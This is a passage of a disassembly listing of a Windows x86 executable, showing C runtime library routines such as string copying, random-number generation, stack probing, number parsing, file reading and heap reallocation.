var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_414CA3
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_412C07
		dec	[ebp+var_1C]
		js	short loc_412BFA
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_412C07
; ---------------------------------------------------------------------------


loc_412BFA:				; CODE XREF: sub_412BB5+3Bj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414AFC
		pop	ecx
		pop	ecx


loc_412C07:				; CODE XREF: sub_412BB5+36j
					; sub_412BB5+43j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_412BB5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C10	proc near		; CODE XREF: sub_401141+2CFp
					; sub_4078FA+3B62p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_412C37
		xor	eax, eax
		jmp	short loc_412C39
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412C10+21j
		mov	eax, edi


loc_412C39:				; CODE XREF: sub_412C10+25j
		cld
		pop	edi
		leave
		retn
sub_412C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412C40	proc near		; CODE XREF: sub_401141+6Ep
					; sub_401141+A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_412CDF
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_412C6C
		shr	ecx, 2
		jnz	loc_412CEF
		jmp	short loc_412C93
; ---------------------------------------------------------------------------


loc_412C6C:				; CODE XREF: sub_412C40+1Fj
					; sub_412C40+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_412CA6
		test	al, al
		jz	short loc_412CAE
		test	esi, 3
		jnz	short loc_412C6C
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_412CEF


loc_412C8E:				; CODE XREF: sub_412C40+ADj
		and	ebx, 3
		jz	short loc_412CA6


loc_412C93:				; CODE XREF: sub_412C40+2Aj
					; sub_412C40+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_412CD8
		sub	ebx, 1
		jnz	short loc_412C93


loc_412CA6:				; CODE XREF: sub_412C40+39j
					; sub_412C40+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412CAE:				; CODE XREF: sub_412C40+3Dj
		test	edi, 3
		jz	short loc_412CCC


loc_412CB6:				; CODE XREF: sub_412C40+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_412D5C
		test	edi, 3
		jnz	short loc_412CB6


loc_412CCC:				; CODE XREF: sub_412C40+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_412D47


loc_412CD3:				; CODE XREF: sub_412C40+9Bj
					; sub_412C40+116j
		mov	[edi], al
		add	edi, 1


loc_412CD8:				; CODE XREF: sub_412C40+5Fj
		sub	ebx, 1
		jnz	short loc_412CD3
		pop	ebx
		pop	esi


loc_412CDF:				; CODE XREF: sub_412C40+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412CE5:				; CODE XREF: sub_412C40+C7j
					; sub_412C40+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_412C8E


loc_412CEF:				; CODE XREF: sub_412C40+24j
					; sub_412C40+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_412CE5
		test	dl, dl
		jz	short loc_412D39
		test	dh, dh
		jz	short loc_412D2F
		test	edx, 0FF0000h
		jz	short loc_412D25
		test	edx, 0FF000000h
		jnz	short loc_412CE5
		mov	[edi], edx
		jmp	short loc_412D3D
; ---------------------------------------------------------------------------


loc_412D25:				; CODE XREF: sub_412C40+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_412D3D
; ---------------------------------------------------------------------------


loc_412D2F:				; CODE XREF: sub_412C40+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_412D3D
; ---------------------------------------------------------------------------


loc_412D39:				; CODE XREF: sub_412C40+CBj
		xor	edx, edx
		mov	[edi], edx


loc_412D3D:				; CODE XREF: sub_412C40+E3j
					; sub_412C40+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_412D53


loc_412D47:				; CODE XREF: sub_412C40+91j
		xor	eax, eax


loc_412D49:				; CODE XREF: sub_412C40+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_412D49


loc_412D53:				; CODE XREF: sub_412C40+105j
		and	ebx, 3
		jnz	loc_412CD3


loc_412D5C:				; CODE XREF: sub_412C40+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_412C40	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D64	proc near		; CODE XREF: sub_40169B+39p
					; sub_402B1D+56p ...

arg_0		= dword	ptr  4

		call	sub_415456
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_412D64	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D71	proc near		; CODE XREF: sub_401525+57p
					; sub_401525:loc_401588p ...
		call	sub_415456
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_412D71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D93	proc near		; CODE XREF: sub_401525+4Ap
					; sub_402B1D+23Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+var_14], 49h
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_416000
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41554C
		add	esp, 10h
		leave
		retn
sub_412D93	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412DD0	proc near		; CODE XREF: sub_4028A8+8p
					; sub_4039DE+Ap ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_412DE5
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_412DE5:				; CODE XREF: sub_412DD0+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]


loc_412DEA:				; CODE XREF: sub_412DD0+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_412DEA
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_412DD0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E0D	proc near		; CODE XREF: sub_401BBB+46p
					; sub_401C33+67p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_414CA3
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_412E5E
		dec	[ebp+var_1C]
		js	short loc_412E51
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_412E5E
; ---------------------------------------------------------------------------


loc_412E51:				; CODE XREF: sub_412E0D+3Aj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414AFC
		pop	ecx
		pop	ecx


loc_412E5E:				; CODE XREF: sub_412E0D+35j
					; sub_412E0D+42j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_412E0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E64	proc near		; CODE XREF: sub_401CA7+19p
					; sub_404592+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_C]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_414CA3
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_412EB4
		dec	[ebp+var_1C]
		js	short loc_412EA7
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_412EB4
; ---------------------------------------------------------------------------


loc_412EA7:				; CODE XREF: sub_412E64+39j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414AFC
		pop	ecx
		pop	ecx


loc_412EB4:				; CODE XREF: sub_412E64+34j
					; sub_412E64+41j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_412E64	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EBA	proc near		; CODE XREF: sub_412F42j
					; sub_41CB47+36p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_415456
		mov	edi, [eax+64h]
		cmp	edi, off_42C7BC
		jz	short loc_412ED3
		call	sub_41628E
		mov	edi, eax


loc_412ED3:				; CODE XREF: sub_412EBA+10j
		mov	esi, [esp+8+arg_0]


loc_412ED7:				; CODE XREF: sub_412EBA+43j
		cmp	dword ptr [edi+28h], 1
		movzx	eax, byte ptr [esi]
		jle	short loc_412EEE
		push	8
		push	eax
		push	edi
		call	sub_41608B
		add	esp, 0Ch
		jmp	short loc_412EF8
; ---------------------------------------------------------------------------


loc_412EEE:				; CODE XREF: sub_412EBA+24j
		mov	ecx, [edi+48h]
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8


loc_412EF8:				; CODE XREF: sub_412EBA+32j
		test	eax, eax
		jz	short loc_412EFF
		inc	esi
		jmp	short loc_412ED7
; ---------------------------------------------------------------------------


loc_412EFF:				; CODE XREF: sub_412EBA+40j
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		jz	short loc_412F0F
		cmp	ecx, 2Bh
		jnz	short loc_412F13


loc_412F0F:				; CODE XREF: sub_412EBA+4Ej
		movzx	ecx, byte ptr [esi]
		inc	esi


loc_412F13:				; CODE XREF: sub_412EBA+53j
		xor	eax, eax


loc_412F15:				; CODE XREF: sub_412EBA+7Cj
		cmp	ecx, 30h
		jl	short loc_412F24
		cmp	ecx, 39h
		jg	short loc_412F24
		sub	ecx, 30h
		jmp	short loc_412F27
; ---------------------------------------------------------------------------


loc_412F24:				; CODE XREF: sub_412EBA+5Ej
					; sub_412EBA+63j
		or	ecx, 0FFFFFFFFh


loc_412F27:				; CODE XREF: sub_412EBA+68j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_412F38
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_412F15
; ---------------------------------------------------------------------------


loc_412F38:				; CODE XREF: sub_412EBA+70j
		cmp	edx, 2Dh
		pop	edi
		pop	esi
		jnz	short locret_412F41
		neg	eax

locret_412F41:				; CODE XREF: sub_412EBA+83j
		retn
sub_412EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_412F42	proc near		; CODE XREF: sub_401D45+63p
					; sub_402B1D+3FEp ...
		jmp	sub_412EBA
sub_412F42	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F47	proc near		; CODE XREF: sub_412F93+32p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_412F4D:				; DATA XREF: .rdata:off_4271ACo
		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_412F8A
		push	esi
		call	sub_41644D
		push	esi
		mov	edi, eax
		call	sub_416422
		push	dword ptr [esi+10h]
		call	sub_416387
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_412F78
		or	edi, 0FFFFFFFFh
		jmp	short loc_412F8A
; ---------------------------------------------------------------------------


loc_412F78:				; CODE XREF: sub_412F47+2Aj
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_412F8A
		push	eax
		call	sub_412FE4
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_412F8A:				; CODE XREF: sub_412F47+Dj
					; sub_412F47+2Fj ...
		and	dword ptr [esi+0Ch], 0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_412F47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F93	proc near		; CODE XREF: sub_402A8B+74p
					; sub_4078FA+3443p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_4276F0
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	esi, [ebp+arg_0]
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_412FB9
		and	dword ptr [esi+0Ch], 0


loc_412FB0:				; CODE XREF: sub_412F93+44j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------


loc_412FB9:				; CODE XREF: sub_412F93+17j
		push	esi
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_412F47
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_412FDC
		jmp	short loc_412FB0
sub_412F93	endp


; =============== S U B	R O U T	I N E =======================================



sub_412FD9	proc near		; DATA XREF: .rdata:stru_4276F0o
		mov	esi, [ebp+8]
sub_412FD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412FDC	proc near		; CODE XREF: sub_412F93+3Fp
		push	esi
		call	sub_4166C5
		pop	ecx
		retn
sub_412FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FE4	proc near		; CODE XREF: sub_402717+74p
					; sub_40556E+CCp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00413040 SIZE 00000015 BYTES

		push	0Ch
		push	offset stru_427700
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41304F
		cmp	dword_47A640, 3
		jnz	short loc_413040
		push	4
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41697A
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_413023
		push	esi
		push	eax
		call	sub_4169A5
		pop	ecx
		pop	ecx


loc_413023:				; CODE XREF: sub_412FE4+34j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413037
		cmp	[ebp+var_1C], 0
		jnz	short loc_41304F
		push	[ebp+arg_0]
		jmp	short loc_413041
sub_412FE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_413037	proc near		; CODE XREF: sub_412FE4+43p
					; DATA XREF: .rdata:stru_427700o
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_413037	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412FE4


loc_413040:				; CODE XREF: sub_412FE4+1Aj
		push	esi


loc_413041:				; CODE XREF: sub_412FE4+51j
		push	0
		push	dword_47A63C
		call	ds:dword_41F134	; RtlFreeHeap


loc_41304F:				; CODE XREF: sub_412FE4+11j
					; sub_412FE4+4Cj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_412FE4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413055	proc near		; CODE XREF: sub_41313E+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		test	edi, edi
		mov	ecx, edi
		mov	[ebp+var_8], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_413079
		xor	eax, eax
		jmp	loc_413124
; ---------------------------------------------------------------------------


loc_413079:				; CODE XREF: sub_413055+1Bj
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41308D
		mov	eax, [esi+18h]
		mov	[ebp+var_4], eax
		jmp	short loc_413099
; ---------------------------------------------------------------------------


loc_41308D:				; CODE XREF: sub_413055+2Ej
		mov	[ebp+var_4], 1000h
		jmp	short loc_413099
; ---------------------------------------------------------------------------


loc_413096:				; CODE XREF: sub_413055+C5j
		mov	ecx, [ebp+arg_0]


loc_413099:				; CODE XREF: sub_413055+36j
					; sub_413055+3Fj
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4130CB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4130CB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_4130B0
		mov	edi, eax


loc_4130B0:				; CODE XREF: sub_413055+57j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4177B0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_8]
		jmp	short loc_413116
; ---------------------------------------------------------------------------


loc_4130CB:				; CODE XREF: sub_413055+4Aj
					; sub_413055+51j
		cmp	ecx, [ebp+var_4]
		jb	short loc_4130FE
		cmp	[ebp+var_4], 0
		mov	eax, ecx
		jz	short loc_4130E1
		xor	edx, edx
		div	[ebp+var_4]
		mov	eax, ecx
		sub	eax, edx


loc_4130E1:				; CODE XREF: sub_413055+81j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_417703
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413128
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413138
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_413116
; ---------------------------------------------------------------------------


loc_4130FE:				; CODE XREF: sub_413055+79j
		push	esi
		call	sub_417455
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41312C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+var_4], eax


loc_413116:				; CODE XREF: sub_413055+74j
					; sub_413055+A7j
		cmp	[ebp+arg_0], 0
		jnz	loc_413096
		mov	eax, [ebp+arg_8]


loc_413123:				; CODE XREF: sub_413055+E1j
		pop	esi


loc_413124:				; CODE XREF: sub_413055+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413128:				; CODE XREF: sub_413055+9Bj
		or	dword ptr [esi+0Ch], 10h


loc_41312C:				; CODE XREF: sub_413055+B3j
					; sub_413055+E7j
		mov	eax, edi
		sub	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_413123
; ---------------------------------------------------------------------------


loc_413138:				; CODE XREF: sub_413055+A0j
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41312C
sub_413055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41313E	proc near		; CODE XREF: sub_402A8B+47p
					; sub_410A22+2F2p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset stru_427710
		call	__SEH_prolog
		push	[ebp+arg_C]
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413055
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413180
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41313E	endp


; =============== S U B	R O U T	I N E =======================================



sub_413180	proc near		; CODE XREF: sub_41313E+34p
					; DATA XREF: .rdata:stru_427710o
		push	dword ptr [ebp+14h]
		call	sub_4166C5
		pop	ecx
		retn
sub_413180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41318A	proc near		; CODE XREF: sub_41965E+34p
					; sub_41965E+49p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004132FB SIZE 0000003C BYTES

		push	14h
		push	offset stru_427720
		call	__SEH_prolog
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_4131AD
		push	[ebp+arg_4]
		call	sub_41344D
		pop	ecx
		jmp	loc_413331
; ---------------------------------------------------------------------------


loc_4131AD:				; CODE XREF: sub_41318A+13j
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_4131C0
		push	edi
		call	sub_412FE4
		pop	ecx
		jmp	loc_41332F
; ---------------------------------------------------------------------------


loc_4131C0:				; CODE XREF: sub_41318A+28j
		cmp	dword_47A640, 3
		jnz	loc_4132FB


loc_4131CD:				; CODE XREF: sub_41318A+158j
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	loc_4132CA
		push	4
		call	sub_416901
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	edi
		call	sub_41697A
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	loc_41329A
		cmp	esi, dword_47A62C
		ja	short loc_41324A
		push	esi
		push	edi
		push	eax
		call	sub_416E7A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413212
		mov	[ebp+var_1C], edi
		jmp	short loc_41324A
; ---------------------------------------------------------------------------


loc_413212:				; CODE XREF: sub_41318A+81j
		push	esi
		call	sub_417159
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_41324A
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_41322D
		mov	eax, esi


loc_41322D:				; CODE XREF: sub_41318A+9Fj
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_4177B0
		push	edi
		call	sub_41697A
		mov	[ebp+var_20], eax
		push	edi
		push	eax
		call	sub_4169A5
		add	esp, 18h


loc_41324A:				; CODE XREF: sub_41318A+72j
					; sub_41318A+86j ...
		cmp	[ebp+var_1C], ebx
		jnz	short loc_41329A
		cmp	esi, ebx
		jnz	short loc_413259
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi


loc_413259:				; CODE XREF: sub_41318A+C7j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	dword_47A63C
		call	ds:dword_41F13C	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_41329A
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_413284
		mov	eax, esi


loc_413284:				; CODE XREF: sub_41318A+F6j
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_4177B0
		push	edi
		push	[ebp+var_20]
		call	sub_4169A5
		add	esp, 14h


loc_41329A:				; CODE XREF: sub_41318A+66j
					; sub_41318A+C3j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4132F2
		cmp	[ebp+var_20], ebx
		jnz	short loc_4132CA
		cmp	esi, ebx
		jnz	short loc_4132AF
		xor	esi, esi
		inc	esi


loc_4132AF:				; CODE XREF: sub_41318A+120j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	ebx
		push	dword_47A63C
		call	ds:dword_41F138	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax


loc_4132CA:				; CODE XREF: sub_41318A+49j
					; sub_41318A+11Cj
		mov	eax, [ebp+var_1C]
		cmp	eax, ebx
		jnz	short loc_413331
		cmp	dword_47A014, ebx
		jz	short loc_413331
		push	esi
		call	sub_417AED
		pop	ecx
		test	eax, eax
		jnz	loc_4131CD
		jmp	short loc_41332F
sub_41318A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132EA	proc near		; DATA XREF: .rdata:stru_427720o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
sub_4132EA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4132F2	proc near		; CODE XREF: sub_41318A+114p
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_4132F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41318A


loc_4132FB:				; CODE XREF: sub_41318A+3Dj
					; sub_41318A+1A3j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_413318
		cmp	esi, ebx
		jnz	short loc_413309
		xor	esi, esi
		inc	esi


loc_413309:				; CODE XREF: sub_41318A+17Aj
		push	esi
		push	edi
		push	ebx
		push	dword_47A63C
		call	ds:dword_41F138	; RtlReAllocateHeap


loc_413318:				; CODE XREF: sub_41318A+176j
		cmp	eax, ebx
		jnz	short loc_413331
		cmp	dword_47A014, ebx
		jz	short loc_413331
		push	esi
		call	sub_417AED
		pop	ecx
		test	eax, eax
		jnz	short loc_4132FB


loc_41332F:				; CODE XREF: sub_41318A+31j
					; sub_41318A+15Ej
		xor	eax, eax


loc_413331:				; CODE XREF: sub_41318A+1Ej
					; sub_41318A+145j ...
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41318A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413337	proc near		; CODE XREF: sub_413393+Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset stru_427730
		call	__SEH_prolog
		call	sub_417CF5
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_41335E
		call	sub_417C70
		mov	dword ptr [eax], 18h
		xor	eax, eax
		jmp	short loc_413383
; ---------------------------------------------------------------------------


loc_41335E:				; CODE XREF: sub_413337+16j
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417B08
		add	esp, 10h
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413389
		mov	eax, [ebp+var_20]


loc_413383:				; CODE XREF: sub_413337+25j
		call	__SEH_epilog
		retn
sub_413337	endp


; =============== S U B	R O U T	I N E =======================================



sub_413389	proc near		; CODE XREF: sub_413337+44p
